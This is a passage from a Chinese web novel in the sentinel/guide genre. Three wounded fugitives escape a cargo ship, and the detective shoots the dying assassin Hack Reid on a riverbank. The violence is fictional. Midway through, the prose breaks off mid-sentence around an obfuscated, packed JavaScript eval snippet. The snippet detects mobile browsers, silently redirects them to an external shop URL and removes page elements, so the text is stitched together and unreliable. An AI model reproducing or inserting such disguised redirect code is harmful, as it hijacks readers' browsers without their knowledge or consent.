就像站在爆炸的正中心,狼的眼睛和巨大的天体让他恐惧,他慌不择路地逃离。等到其他人都去船尾和货仓战斗的时候,他在上层建筑中失魂落魄,漫无目的地兜兜转转,最后在本能指引下来到了这艘救生艇前。 去他妈的哨兵的骄傲,去他妈的高额奖金和工资,去他妈的工作机会和向导之旅的福利……酒神节的哨兵们愿意卖命无非就是为了这几个理由,当然更多的是后两个,可说到底,这些破事哪一个能比命重要呢? 通讯器里,那个里奇的命令直接让他乐出来了。“破坏救生艇,困住目标”?上帝啊,到底是谁困住谁?只有真正的纯种白痴才会听他的话,断绝自己的退路,把自己和那女孩模样的怪物一起困死在这艘巨大的钢铁坟墓上。 他以前在远洋货轮上负责过和海盗作战,知道船头这艘自由降落式救生艇的释放是最快的,并且单人在艇内即可完成操作。没有比这更完美的逃生舱了。 太好了……终于可以跑了…… 他打开入口就往救生艇里钻。 然后,年轻人的身体僵住了。 他的面容扭曲起来,颈椎,手臂与整条脊椎都以不正常的角度开始弯曲。 咯啦啦——他听到自己的身体内部传来异响。他想尖叫,但脖子上缠绕的力量甚至让他无法呼吸。 巨大的压力带来了巨大的痛楚。哨兵的内脏破裂,骨头折断,最终随着涌出喉头的鲜血和掉出眼眶的眼珠,他无声的失去了生息。 货轮如同摇篮轻轻摇晃。一只伤痕累累的森蚺悄悄离开了他死去的大脑,潜伏进阴影里。 精神动物已至,但海克.雷德本人还在来的船头救生艇的路上。向来行动迅捷的杀手走得很慢,捂着肺部,拖着断臂,在来路上留下一道血痕。 如果可以,他也想更快一些,然而失血和缺氧像是一层被打湿的纱,又湿又冷地笼罩着他。他视线模糊,脚步踉跄,心跳时而很快,时而又似乎陷入了停滞。 他已经在以最快的速度前进了。 所幸海克最擅长的攻击方式之一,就是远距离入侵目标的精神图景,直接让亚马逊森蚺碾碎目标的骨头。 即使还有一段距离,他也能保护那艘救生艇。 他尽可能地隐没在阴影里,走在这艘船最人迹罕至的通道。他失血量太大,已经快什么都看不清了,但多亏了里奇最后的命令,船上仅剩的哨兵都各自赶往了不同的救生艇。 这不仅分散了他的对手,还让他得以预估他们的行动路线,完美地避开了前往左右船舷的哨兵,直奔船头。 不需要沟通,他也知道应该来这里汇合。 因为他也知道,船头这艘自由降落式救生艇的释放是最快的,并且单人在艇内即可完成操作。没有比这更完美的逃生舱了。 他只要杀掉所有靠近船头的人就好。 还好,在最后的关头他要做的只是杀人而已。 一无是处的自己唯一会这一件事,也能帮得上自己所爱之人。 这么有些庆幸地想着,海克的视线突然黑了一下。 不止是视线,他的五感,他的意识,甚至让他摇摇欲坠的低氧,都像断电一样消失了一瞬。 这不是个好兆头。当他再次恢复视力时,世界在剧烈晃动。眩晕感像是沼泽一样捕获了他,他感到自己的身体和精神都正在被什么东西腐蚀,脚下的通道像是个没有尽头的幻觉。 但海克没有停下。 他临时解放了痛觉,探知自己身体状况,却并没有感觉到那种濒死的痛楚。这和他此时的状况有些矛盾,但海克没力气细想了。 他不能停下。 船舱太黑了。他必须要带卢娜和白鸟走出这里才行。只要走出这里,一切就能结束了。他的妹妹能回到平静的生活中去,他也能在白鸟的指导下学着做一个普通人,他会尽力让白鸟摆脱酒神节的阴影,他会尽力让他快乐,然后—— 然后,也许,如果有机会的话…… 他看着漆黑的通道,忽然想起白鸟曾经给他看过的极光。 因为有人在等待着他,他头一次因为太过漫长的战斗而感到疲惫了。可那绽放于天际的太阳风暴也同时在他的脑海里亮起,甚至让他黑色的眼睛中有了光亮—— 如果有机会的话,他还想带白鸟去看看真正的极光。 尼尔森一行人跌跌撞撞地往船头赶去。 体力快要消耗殆尽的侦探背上背着尚未醒来的卢娜.雷德,手上扶着路都走不稳的莱蒂斯,俨然被情势逼成了一根摇摇晃晃的顶梁柱。 很快,他意识到,当他们在污水舱里的时候,船上发生了变化。 出于警惕,尼尔森降低了精神屏障,时刻监控着附近的情感波动。现在这艘船上混杂着焦躁,恐惧,兴奋,雀跃,急功近利,但情感的浓度淡了很多,大概是因为这船上大半的人都已经□□废了。 他还感觉到了一种跃跃欲试,是那种领头人不在,自己有机会立大功的振奋感。 那个S级哨兵不在这里了么?尼尔森想着,然后在货舱左船舷感觉到了对立,冲突和敌意。 有畏惧,有疯狂和挣扎,还有鄙夷和愤怒。有什么人打起来了,会是海克吗?尼尔森无暇顾及。 污水顺着西服的衣摆流淌,尼尔森踩在冷硬的铁制走廊上,却总觉得自己还没真的走出污水舱。他只想走,快点走——他实在太他妈的想离开这艘破船了,透支的体力又让他担心自己下一秒就会栽倒在地上。 “呃……啊……哈啊……” 他浑身都疼,喘得像个破风箱。可旁边比他伤得重得多的莱蒂斯咬着嘴唇一声不吭,背上失去意识到卢娜.雷德又安静得像具尸体,不仅让他觉得自己丢尽了成年男性的脸,还让他老觉得只有自己一个还活着。 他是真的担心身边的两个人会突然死掉一个。卢娜.雷德受麻药影响,又泡在水里太久,已经开始失温,而莱蒂斯,莱蒂斯简直他妈的糟糕透了! 她的鼻血怎么也止不住,中弹的右腿一点也动不了,只能靠着左腿往前挪。一直戴在手上的那支破机械臂终于被扔了,但等尼尔森把那玩意拆下来之后才发现,莱蒂斯从手臂到脖颈的皮肤上都已经浮满了突出的、青色的血管。 更让他担心的是她的精神。听力暴走和与S级哨兵的战斗透支了这个小姑娘的大脑,让她的意识破碎得像是被暴雨撕碎的蛛网。 为了唤醒她,尼尔森做出了从未做过的尝试。他小心翼翼地把她的神智粘合在一起,百米长的离翼水母化作骨架,支撑起莱蒂斯的意识,让她睁开了眼睛。 他们那时的姿势其实有些暧昧,为了更好地进行疏导,尼尔森和莱蒂斯额头相抵,小姑娘浅浅的呼吸落在他脸上,像是一束阳光的余温。可等莱蒂斯睁开双眼,尼尔森看见她眼白上皲裂的血丝,只感觉一阵寒悸。 他空有向导最强的认知误导能力,却对向导最基础的安抚技能疏于练习,对莱蒂斯的精神疏导最终只停留在了让她醒过来的层面。 “再等一下,莱蒂斯。你的精神还没修复,我——” 他想起那个因本能而臣服于莱蒂斯的向导,有些挫败又有些着急地对莱蒂斯道:“这儿还有个向导,我让他来帮你疏导。”说着就要放开她。 “……不。”莱蒂斯的嘴唇开合了两下,从发干的嗓子里挤出一个单词。她抬起手,似乎不知道该落在哪里,最终拉住了尼尔森的领带: “这里的向导都是敌人……我只信你。” “船上……不安全,既然已经找到卢娜小姐,我们该走了。” 对货轮不熟悉的少女问侦探:“尼尔森,你知道我们该从哪里离开吗?” “……” 尼尔森当然知道,他先前用那个矮子哨兵的大脑探知周围时,就已经发现了那艘位于船头的自由降落式救生艇。他有点想笑,又想问问这个小姑娘:你真的要信我吗?你看,我一点都不擅长修补哨兵的精神,我只擅长烧掉哨兵们的脑子。 但此时被莱蒂斯无法聚焦的墨绿双眼看着,侦探不知为何有些哑然。他闭了嘴,只是点点头。 小姑娘也点了点头,带着十足的果断和带着十足的信任,对这个犯下数起重罪的向导说:“我有点看不清东西了……你带我过去吧。” “……好,我们走。” 尼尔森自觉地背起卢娜.雷德,把莱蒂斯从水中拉起。他们物理意义上地相互扶持着,踉跄地前进,倒是真的像一对刻板印象里的生死与共,不离不弃的哨兵向导。 当他们登上甲板时,空气里有河流的清凉和血液的腥甜。 货轮已行至奎茵河远离市区的下游,四周只有阴森的树林和水面鬼影般的波涛。尼尔森的视线还未适应这种完全的黑暗,只感觉到莱蒂斯的身体紧绷了起来。 他向前一步,踩到了什么柔软的东西。他低头,随着逐渐适应环境的视觉,一具倒在甲板的尸体浮现在他视野,接着是第二具,第三具。 操。 尼尔森的大脑在危机感中转得快过载。莱蒂斯可经不起再一场战斗了。 但随后他意识到,船头并没有敌意传来。 他轻轻拍了拍莱蒂斯,让她放松一点。 莱蒂斯眨了眨眼,难以聚焦的瞳孔疑惑地看着他。 “没事了。” 尼尔森扶着难以站立的少女,带她回过头去,只见一个人影静静地坐在阴影中,手握一束红光。他屈着一条腿,左手搭在膝盖上,只是剪影就看起来冷静又危险。 那人的轮廓与黑夜之间并没有明显的边界。 他有着黑色的头发和黑色的眼睛,像一抹融入夜晚的影子,手上机械臂的红光却如同微缩的地核般耀眼—— 那鬼魂一般的杀手,海克.雷德早已在这里静候多时,并悄无声息地处理掉了三个前来的哨兵。 他们之间多少也算得上是同伴的关系,此刻终于见上了面,却谁也没有余力开口说话。 莱蒂斯有些开心,因为忍痛而紧绷的表情放松了一点。而尼尔森只是对海克点头示意,直接进入了救生艇。 他把卢娜.雷德安置在座位上,又把莱蒂斯扶进去坐好。海克.雷德一直一言不发地看着他行动,甚至没有急于去看自己的妹妹。他把五感拉满,时刻警惕着敌人的靠近。 尼尔森在莱蒂斯落座之后冷静了不少。他在网上搜了个视频,学着教程把救生艇的保险插销拆了,站在小艇入口冲海克招手:“搞定了,来吧。” 海克反应了几秒,才解读出尼尔森的动作和话语。重伤让他感觉意识很不清晰,耳膜一直随着心跳异常地响动,但因为距离近,他多少能听清尼尔森在说些什么。 这个金眼睛的向导看起来不太着调,但在面对和那个小姑娘无关的危险时,却又有种见过大风大浪的镇定。至少 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品味着那杂乱的感情,侦探拼凑出了货轮另一角的情况: “我想哨兵们原本的任务是破坏救生艇以阻止我们下船——如果是我,我也会这么打算。那个S级哨兵肯定给了高额的奖赏,否则不会有人这么拼命地践行他的命令。” “但很显然,除了我们之外,酒神节也有人想下这艘船。” “我能感觉到他们想下船的心情非常迫切,甚至到了失去理智的地步。啊,他们一定是被什么东西吓坏了。过于强大的敌人,过于突然的死亡,你的森蚺,莱蒂斯的狼——他们意识到继续战斗只有死路一条。破坏救生艇就是断了他们最后的生路,他们当然会拼命反抗。” “结果就是,酒神节的两拨人自己打起来了,而且在左舷聚集,反而是你这里悄无声息地死了三个人,都没有人发现。” “下命令的那家伙——那个S级哨兵,他太强了,而这正是他疏忽的地方。他想不到除了我们,还有的是人想逃走。所以我说啊,你们这些强得过分的哨兵,对人性的懦弱还是不够了解。” 离救生艇最近的那具尸体倒在尼尔森脚边。这个人大概也没想到,这艘船上还有和他一样想法的同伴。 尼尔森用鞋尖踢了踢尸体,抬起头看向海克: “走吧,杀手先生。趁他们还没分出胜负,我们先跑。” 海克.雷德点点头,站起身来。其实尼尔森说的话里,有一大半内容他都已经无法识别,但听见尼尔森推理出里奇命令要破坏救生艇,他就知道到这个向导的推测是可信的。 而且—— “……我了解。” 海克突然说道。他的声音沙哑而模糊。 尼尔森:“什么?” 海克没有再回答,他拖着脚步,被门口那具尸体绊了一下,愣了愣,踩过它走进了救生艇。 空间骤然减小,海克却看不太清救生艇内部的模样。他的视野像是一团被揉皱的纸团,只有白鸟陪在他身边的身影还是清晰的。 他是想说,他很清楚人性的懦弱。 他亦是懦弱之人。 上一次,也是在这种濒临崩坏的天旋地转中,他因为无法接受白鸟濒死的样子从酒神节的走廊中逃开了,所以这一次,他绝不会再…… 侦探感觉到了海克的坚决,却不着痕迹地皱了皱眉。 他知道海克.雷德肯定受了伤,但没想到海克的感官已经迟钝到了这个地步。 更何况—— 直到他起身,尼尔森才看见,杀手刚刚所在的地方已经汇聚出了一汪血泊。 被森蚺绞杀而死的人出血量并不大,甲板上那浓重得让人窒息的血腥味一直都不来自尸体,而是来自海克.雷德。 “砰——!” 伴随着巨大的响声和水花,救生艇滑落进奎茵河。尼尔森赶紧到操作台前,启动引擎,把油门拉满往岸边冲。 艇内很安静,也很温暖。一直紧绷神经的莱蒂斯和海克.雷德似乎都平静了些,垂着头闭目养神,只有尼尔森的眉皱得死紧。 血。 他注视着操作台的屏幕,试图忽视这个让人焦躁的事实,然而鲜血的味道弥漫在这个窄小的封闭空间,让他有非常不好的预感。 现在救生艇里真的算得上神志清醒的人大概只有他一个。卢娜还没有醒,而莱蒂斯和海克这两个吓得酒神节守卫精神失常的哨兵,现在连维持清醒都十分困难。 他们伤得太重了,无论是身体还是精神都千疮百孔。原本身在战场,危机感还能让他们强撑下来,但现在安静的环境却让他们昏昏欲睡起来。 疲惫像流沙将他们的感官掩埋,能分出的共感力已经不多了。他们努力把五感全都集中在货轮那边,以防意外发生,却连救生艇中血流的滴答声都听不清了。 加足马力的救生艇很快载着他们来到岸边。 “轰——哗啦——!” 船才刚刚靠岸,尼尔森就听见货轮那边传来了救生艇入水的声响。他猛地回头,看见两个哨兵也因为这打破平静的巨响而抬起了头,随后,他们又将目光集中在了尼尔森身上。 “……操。”尼尔森说,“跑!” 他慌忙地按下开启舱门的按钮,一边冲过来扶人,一边回答那个只有他能回答的问题:“逃兵们没赢。那艘船是带着攻击性和敌意来的——想立功的那帮疯子追过来了!” 他向来知道世事无常,但此刻也久违地咒骂起命运来——内讧给他们争取了时间,却也带来了麻烦。 要是那群白痴真的听命令把救生艇都毁了,此刻根本就不会有机会下船。可偏偏逃兵们又拼了命保下来了一艘救生艇,到现在,就变成了追杀他们的工具。 因与果盘根错节,尼尔森看不明白命运所指为何。 更让他心情沉重的是,在救生艇地面白得刺眼的铁皮上,尼尔森看见了自己一直不想去看的东西。 血。 有大片的,鲜红的血正在海克.雷德的脚边生长。 51. 第五十章 本章推荐bgm:sleep—bypoetsofthefall “快!没……了!我们不……在这里耽搁……马上就……追上。” 海克听见那个金色眼睛的男人在说话。他的声音听起来很遥远,但海克大概能猜出他在说什么。 他抬起头,模糊的视野里,男人把卢娜背起,正架着无力的莱蒂斯往救生艇外跑。 “海克,你还好吗?” 精神图景里,白鸟问他。 向导的面容有些模糊,像一尊融化了的雕塑。他正搂着他的精神动物,任由巨大的森蚺将脑袋放在自己的颈窝。它看起来很不好,体色变得暗淡,身体也僵硬得像一截枯木,白鸟抚摸着它的鳞片,把体温和精神力导入,但森蚺只是用信子舔了舔他的脸颊,就再也没有动静。 “……没、事。” 海克在脑海里回应他,昏昏沉沉地站起身,迈出救生艇。河畔的夜风迎面而来,他感觉很冷,好像体内正在结冰。 啊。他突然想到,卢娜被救回来时浑身都是水,现在应该也很冷吧。 他看向被男人背在身上的妹妹,湿透的黑色短发正贴着她苍白的脸颊。 她的呼吸很平静,像是睡着了一样。海克.雷德突然想起小时候他们溜出去玩时忘了带伞,淋了一路的雨,回家之后都感冒了。 小小的卢娜头发和现在一样湿湿的,走到一半就走不动了。年幼的海克把她背起来,她那时也是这样在他背上闭着眼睛。 “……卢娜她会,冷,”海克于是说道,“我,给她……披件衣服……很快就好,不会耽误……时间。” 他向前一步,想走到妹妹的身边去,可突然眼前又陷入了断电一样的黑暗。他看不见妹妹,就连白鸟也消失了。可卢娜会冷,而他也还要继续前进,于是杀手竭力撕开那黑暗,将自己挖出那阴冷的废墟。 然后知觉回来了,他发现自己倒在了河滩上,世界正在眼前扭曲着起伏,如同被漆黑的水冲散的沙画。 他听见了莱蒂斯的喊声,但看不清她在哪。他挪动左手,想支起自己的身体,可这下他连左手也动不了了。这让他感到很奇怪,自己为什么会突然脱力呢?他明明一直在监测自己的体征,但自己真的没有那种濒死的疼痛,他应该还有余力才对。 他再次试图移动身体,可他的肌肉只是在不住地痉挛。 为什么? 他缺氧、失血、失温、内脏破损,精神图景暴走…… 但他没有痛感。 “……” 海克突然感觉自己沉进了一片漆黑的海。 他想到了一种很坏的可能性—— 肾上腺素。 在人临死前,身体会大量释放肾上腺素,缓解痛觉,刺激神经和心脏,同时,细胞中的三磷酸腺苷将转化为二磷酸腺苷,为人体提供最后的能量,使人能够正常活动。 这是人类的大脑最后的指令,所谓回光返照的奇迹,可在这之后,细胞将不可逆地衰亡—— 死就这么在不知不觉间生根发芽。 海克.雷德意识到,他不痛并不是因为屏蔽了痛觉,而是因为他真的快要死了。 “海克先生!” 发现本来还在说话的海克突然倒下,莱蒂斯甩开尼尔森的搀扶,拖着断腿向倒地的海克跑去。 “海克先生,咳呜……您没事吧?还能动吗?快起来,我们得快点离开……” 无论怎么喊他,刚刚还好好的海克.雷得都没有回应。莱蒂斯咽下从气管渗进口腔的鼻血,摸索着架住海克的上半身,要把他扶起来,可折断的右腿爆发出一阵撕裂的疼痛,让她反而被海克的体重拖累,摔倒在地。 起伏的河水不断冲刷着他们的身体,莱蒂斯挣扎着坐起,看见海克泛青的皮肤俨然如同死人。 “海克先生?” 她感到一直萦绕着的眩晕更重了,像一个要将自己吞没的漩涡。手边的河流有些温热,她抬起手,在遍布重影的视野中看见自己满手都是鲜血。 血,哪里来这么多血?她不知道,她顾及不上这些。她用沾满鲜血的手拉住海克.雷德的手臂,试图把他扛在肩上,但她因为机械臂而神经受损的手甚至没力气抓紧杀手的手腕。它从她手里滑落下去,重重摔进水里,而她的身体向侧边倒去—— “莱蒂斯,你先别动。” 一只扶住她。是尼尔森把卢娜安置在岸边,马上赶过来了。他早知海克伤得很重,这种伤情的人要是能走还好,要是突然倒下,恐怕就不是能不能动的问题,而是能不能活的问题了。 他果断跪下,把海克.雷德的身体翻过来,脑子里闪过很多种急救的措施,但没有哪一种时间是够的。即使如此,他嘴上还是在安慰: “我先看看能不能——” 他的声音戛然而止。 几秒的时间内,海克.雷德的瞳孔已经涣散了。 尼尔森的耳边嗡嗡直响。他条件反射掏出手机,打开电筒靠近海克的眼睛,但那双黑瞳没有变化。 光反射也没了。 “……” 他感到莱蒂斯身上爆发出了沉重的负面情感,但一种古怪而麻木的冲动操控了他,让他粗暴地扯开了海克.雷德对胸口进行的紧急包扎。浸透了布料的鲜血也浸透了他的指缝,他看见断裂的肋骨像匕首一样插在血肉里,半个残破的肺浸在鲜血里,冒着血泡。 这个人居然一直带着这样的伤,走到了现在。 尼尔森感到不寒而栗,而莱蒂斯眼睁睁地看着这如同寄生怪物的可怖伤口,愣在原地,一动不动了。 世界静止了,连河流都停歇在了这一瞬。 只有满载着敌人的救生艇正在破开这静止,向他们靠近。 “……走吧。他已经死了。” 尼尔森听见自己这么轻声说道。然而河上有救生艇的引擎声传来,他不得不提高声音,越来越大,越来越急切,如同叫喊—— “莱蒂斯,别管他了。他死了,我们救不了他了……走吧……快起来,快走!酒神节的人追上来了,我们没时间了!快点,快走!!” 他去拉已经怔住的小姑娘的手臂,然后,他看见了近乎恐怖的景象。 已经死去掉海克.雷德的手指动了动,整个人居然翻过了身,带着浑身淋漓的鲜血,艰难地挪动了左臂,一点一点地向岸上爬去。 就好像一条死的森蚺,由于脊柱中独立的神经节中残留的神经反射,依然还在挣扎。 肾上腺素失效了,海克.雷德感觉到了疼痛。 那是覆水难收的剧烈痛觉,轻易地冲破了他建立的精神屏障。他试图重新将它禁锢起来,却只发现它已如海潮般汹涌,不是自己正承载着这痛觉,而是痛觉正承载着他摇晃。 刀伤,枪伤,殴打,电击,骨折,内脏破损——千百种剧痛层层叠加在他体内绽放,像是一场残酷的烟火,叫他分不清哪些是记忆,哪些是自己正在遭受的折磨。 他什么也听不清,什么也看不清了。剧痛现在占据了他的整个世界,并且不断在他体内膨胀,要把他从内部生生剖开。 白鸟一定也很疼……海克想。他多想再屏蔽掉痛觉啊,但他发现自己做不到了。 他像一个一直在坠落的瓷器,终于落地破碎了。 他感到自己在被撕裂,又正在被焚烧,而死亡静候在彼岸,安静地仁慈地向他伸出黑色的手。 海克.雷德颤抖着,背对着死的方向,匍匐着艰难移动。 他从来不逃避死亡,因为那是一个杀手既定的命运。 但他还能看见,自己身边有一个白色的,模糊的人影。 因此他不能死,他还不能死。 他不能就这么轻易地把白鸟也交到死亡手里去。 迎着恐怖的景象,莱蒂斯上前拉住了海克的手臂。 他还活着……他还有救……莱蒂斯带着一种几乎绝望的期冀想拉海克起来。她本可以轻易扛起一个成年男性的体重狂奔,可她现在早已透支了体力,根本帮不上这个濒死的男人。 “尼尔森……帮我……帮帮他” 她一边用力,一边向侦探求助。可她面前的侦探只是不断地,急切地重复:“来不及了,莱蒂斯。放下他,快走!” 放下他?怎么可能放下。莱蒂斯有些茫然,不太理解尼尔森的话。都已经逃出货轮了,再撑一会儿就能安全了,她怎么可能在这里放弃? “莱蒂斯,莱蒂斯!看着我,我们帮不了他!”尼尔森扳过她的肩膀,几乎是喊着在说话,“你连路都走不动了,我也受了伤,又要背着昏迷的卢娜.雷德,我们根本不可能再带一个马上就死了的男人! “我也想海克.雷德活着。但是莱蒂斯,你已经不能再战斗了,我们已经不可能再打过一帮全副武装的酒神节守卫了——如果我们继续留在这里,卢娜和我和你全都会死!” 侦探眼中罕见的严肃反而让莱蒂斯更加绝望了。她听见他说:“快走,算我求你了!” 在他身后,河上出现了灯光,如同深海中怪物的假饵。那是酒神节越来越迫近的船。 “……不。”莱蒂斯喃喃着,语气坚定,声音里却带上了哭腔。 这十七岁的女孩早对救下海克产生了偏执,又亲眼看见燃起的希望就这么血淋淋地破碎在眼前。 她挥开尼尔森的手,转向海克:“你带卢娜小姐先走。我,我再想想办法,我,呜……海克先生和白鸟先生,他们明明值得新的生活……伦滋那个混蛋都还没死,凭什么他们却要死在这里……!” “只要海克先生还活着,我就绝不可能放弃他! “……” 莱蒂斯已经太累了,她没看见尼尔森的金瞳因为这句话暗了暗。 趁着她的注意力全在帮助海克上,尼尔森突然靠近,从海克的腰间拔出了左轮,抵在了海克头上! 河滨的狂风从他们上空呼啸而过,吹动尼尔森的短发。 不可思议和愤怒瞬间占据了莱蒂斯的大脑:“尼尔森!你要干什么!” 尼尔森只是几乎冷硬地重复道:“快走。” “你疯了吗?放开海克先生!”莱蒂斯被怒火淹没。她本来完全能直接把枪夺回,但现在透支的身体基本不听她使唤,她不敢轻举妄动。 尼尔森身上那种常常掌控他人认知的邪气终于显露了出来:“他现在和死了已经没区别了。站起来离开,莱蒂斯,或者我开枪。” “绝不。”带着一种莫大的失望和被背叛的心碎,少女的眼神变得坚决,“带上卢娜小姐走吧,我宁可死在这里,尼尔森。我绝不和你这样为了逃命而杀人的自私自利的混蛋同流合污!” 侦探金色的眼睛眯了一下。 “……你说得对,我是个自私自利的人,而你不是。”他握着枪,缓缓开口,“所以,让我来告诉你一个真正自私自利的人会怎么做。” “我应该趁海克精神已经紊乱入侵他的大脑,找到我想要的情报,然后崩掉他的脑袋。之后,我会趁你已经虚弱到无法与枪支战斗,给你和卢娜.雷德一人一枪,让你们曝尸荒野,把你们这群累赘全都扔在这个鬼地方,自己逃跑。” 他语气冷静,缓慢,双瞳灿若被诅咒的黄金,让莱蒂斯不寒而栗。 “但,连我自己都觉得不可思议……” 尼尔森说着,眼底浮动起复杂的情绪。 “也许算是种同情吧。莱蒂斯,我之所以要这样做,不仅是为了让你离开,还是因为,我看不下去这家伙继续这么折磨自己了。” 他问了莱蒂斯:“你知道他有多痛吗?” “他现在的疼痛根本就不是一个活人应该承受的。每一秒种,他都活在死前最痛苦的那个瞬间。他不愿意死,但没人能反抗死亡——所以他痛苦,绝望和挣扎永无止境地相互拉锯。 ” “我已经把精神屏障拉到最高了,即使这样,我现在头都疼得像在被电锯锯开。” 尼尔森深吸一口气:“放过他,也放过自己吧。莱蒂斯。” “正因如此,你才更不能决定海克先生的生死啊!” 海克.雷德的惨状让莱蒂斯大脑一片混乱,但她知道他为什么这么做,她理解他为什么这么做—— “海克先生他之所以宁愿忍受这样的痛苦也要挣扎,正是因为他不是一个人活着,他还要保护精神图景的白鸟先生啊!” “……” 风不止不休地盘旋。天空没有月亮,河岸的树影却在他们头顶摇晃。 尼尔森一时无言。他看着莱蒂斯,忽然用力闭上了眼睛: “没有白鸟。” “……什么?” “根本就没有白鸟。” 尼尔森睁眼,仿佛终于下定了什么决心:“你被当成护卫养大,对向导一无所知。海克从小没接受过正常的教育,所以他也缺乏常识。” “但我是向导,很强大的向导。就连世界上最强的那个向导,我也很不幸认识,所以我可以很明确地告诉你,莱蒂斯,没有向导能在身体死亡后,进入别人的精神图景活下来。” 他以一种残忍的冷静道:“海克.雷德只是单纯病了。没有奇迹,也没有神奇的超能力,莱蒂斯,这是一种精神病症。” “海克.雷德只是因为不能接受自己没救下濒死的白鸟,人格分裂了而已。” 莱蒂斯愣住了,她的手垂到水里,讷讷地重复:“……什么?” “白鸟死后,他崩溃了,人格分裂出了另一个在他脑子里的白鸟。他只是因为白鸟向他讲述了自己的人生,太过了解这个向导,因此分裂出了一个栩栩如生的人格,能做出一切白鸟会做出的反应。” “他的精神图景在白鸟进入后稳定了,但那正是他人格分裂后,大脑得到安抚的体现。我不知道这个白鸟是否能辅助他战斗,但即使能,那也只是大脑在他铤而走险时,下意识产生的安慰罢了。” “真正的白鸟早就死了,你我都见过那具的尸体。海克所做的一切,都只是为了一个幻觉。” “所以我同情他……连我这样的人都同情他。莱蒂斯,难道你还要他为了一个幻觉继续折磨自己吗?” “……” 莱蒂斯发不出声音,她感到自己将要淹死在尼尔森眼中的黄金里,但她不愿意相信这个解释。 “不……不是的,怎么可能!”她带着一种绝望的坚持呵斥道,“你不能肯定白鸟先生是幻觉!尼尔森,哨兵向导的能力至今无人研究透彻,你凭什么这么笃定白鸟先生没有转移进海克先生精神图景的能力!” “不要问我这个问题,”在愈发接近的引擎声中,尼尔森这么回答她,“去问海克.雷德吧。” 海克.雷德隐约听见有人在说话。 他看不见,也动不了,除了痛,这具身体已经什么都不剩了。但人死前最后衰退的感官正是听力,他隐约捕捉到了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356941|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点声响,就像热寂的宇宙里最后一缕光。 好像是莱蒂斯和那个男向导,好像是他们在争论要不要带他一起走。海克想说:无论如何,请先带卢娜离开,但他发现自己发不出声音。 怎么会发不出声音呢。他想努力张开嘴,可很快,疼痛就冲散了他的思维,又把他抛进了一片虚无里。他好像正在一片刀做的海里游泳,无论沉浮都是痛苦。 事到如今,坚持活着就是最大的折磨,但他还不能死——在狂乱的剧痛中,他仍然紧握着一个锚点,维持着意识不在其中消散。 他得离开这里。 他得带白鸟离开这里。 极光……这个单词伴随着某种梦幻的光斑浮现在他大脑,这就是他锚点。 白鸟……还没有看到极光…… 可是极光太远了,哪怕他的视力,也眺望不到那么远的远方。 也许极地的天空上正徜徉着那幻梦般的光彩,但海克.雷德拼尽全力抬起头,只看见了自己的鲜血在地上蜿蜒。 “……没有……白鸟。” 又有声音传来,但海克不太能辨别其中的含义。他只知道自己听见了那个他心心念念的单词。虽然生命正在将他抛弃,但海克知道白鸟还陪着自己。 他们直接在精神里相互连接,因此即使无感尽失,海克依然能感觉到白鸟正站在天崩地裂的精神图景里。 这让海克感到更加难过了,因此也挣扎得更加卖力起来。他再痛也无所谓,他希望白鸟能好好地活下去。 “分裂……幻觉……” 这是那个男向导的声音,海克知道。但他说的话实在是太难懂了,他无法理解。他甚至没办法把白鸟和幻觉这两个单词联系在一起。 白鸟一直在与他交谈,和他一起在餐厅用餐,在河边漫步,他能稳定海克的精神图景并辅助他战斗,甚至有时还不同意海克的话——他是鲜活的,是真实的,怎么可能是幻觉呢? 可就在这时,一抹金色在他眼前闪过。 他本就濒死,精神屏障也早就破碎,因此尼尔森得以通过肢体接触,用共感力向他传递来一个简短的问句: “海克,问白鸟一个问题。” 侦探在精神世界和现实世界里同时开口: “一个只有他知道答案,而你不知道的问题。” 为什么要这么做呢?海克不明白。而且,他已经了解了白鸟的一生,事无巨细,还有什么是只有白鸟知道答案,而他不知道的问题呢? 他的脑子本来很乱,但向导的共感力足够强,甚至在死亡上撕扯开一道裂缝,让他的意识清晰了一点。 大地皲裂,天空破碎的雨林里,他看见白鸟正向他走来。 图景中的极光像是被击碎的教堂彩窗一样散落,折射出残酷的浪漫。和干枯的雨林,和漫天的雷霆比起来,白鸟太渺小了,又太干净了,简直像废墟中的残存的圣母雕像。 简直像是一个苍白的鬼魂。 随着白鸟的脚步,海克如数家珍地回想起他和白鸟所有的对话。从与共的战斗,到关于星空和极光的讨论,他回到夜景璀璨夺目的餐厅,再回到白鸟精神图景里那些色彩鲜亮的照片。再往前,是白鸟的笑和修复他精神图景时留下的眼泪,再往前,再往前,回溯到初遇…… 白发蓝颜的青年说:“他们……叫我白鸟。” 海克.雷德猛地睁大了眼睛,一个令杀手胆寒的问题突然浮现。 除了死亡,他看见了另一道深渊。 现实世界里,海克突然艰难地向前伸出手去。 莱蒂斯想去拉他,却被尼尔森阻止了。 崩坏的精神图景中,另一只手握住了海克的手。海克抬头,看见白色的短发和蓝色的瞳孔,却好像又看见了一具冷冻的,满身尸斑的尸体。 他只觉得慌乱,口不择言。 “白鸟……名字………” 他沙哑的嗓音在让人痛不欲生的剧痛里颤抖着,带着期冀,带着恳求,带着前所未有的,早已被从体内挖走的恐惧—— 酒神节的向导只有代号,没有名字。也许是一开始有所防备,也许是海克从没追问,白鸟从没说过自己的真名。 白鸟跪坐在他身旁,看着他,带着一种不同以往的,慈悲的目光。在这种目光里,海克紧紧握着白鸟的手,像是忏悔的罪人一般,用祷告般的声音颤抖道: “快……告诉我……你的名字……白鸟,告诉我你的名字……” 随后,他看见那双唇开合,回答道—— “砰!” 下一秒,尼尔森扣动了扳机。 伴随着枪响,海克的手颓然下垂,心脏停跳。 “尼尔森!!!” 救生艇的轮廓已经清晰可见,酒神节的哨兵马上就要登陆。莱蒂斯难以置信地喊着侦探的名字,在盛怒中爆发出最后的力量,冲上前来给了他正脸一拳,将他按倒在地上。 黑色的长发垂下,她的眼睛像是荒野上的疯狼。 “你怎么可以……!”偏执的少女掐住尼尔森的脖子,“你怎么可以真的杀了他,你——” “咳……咳咳……” 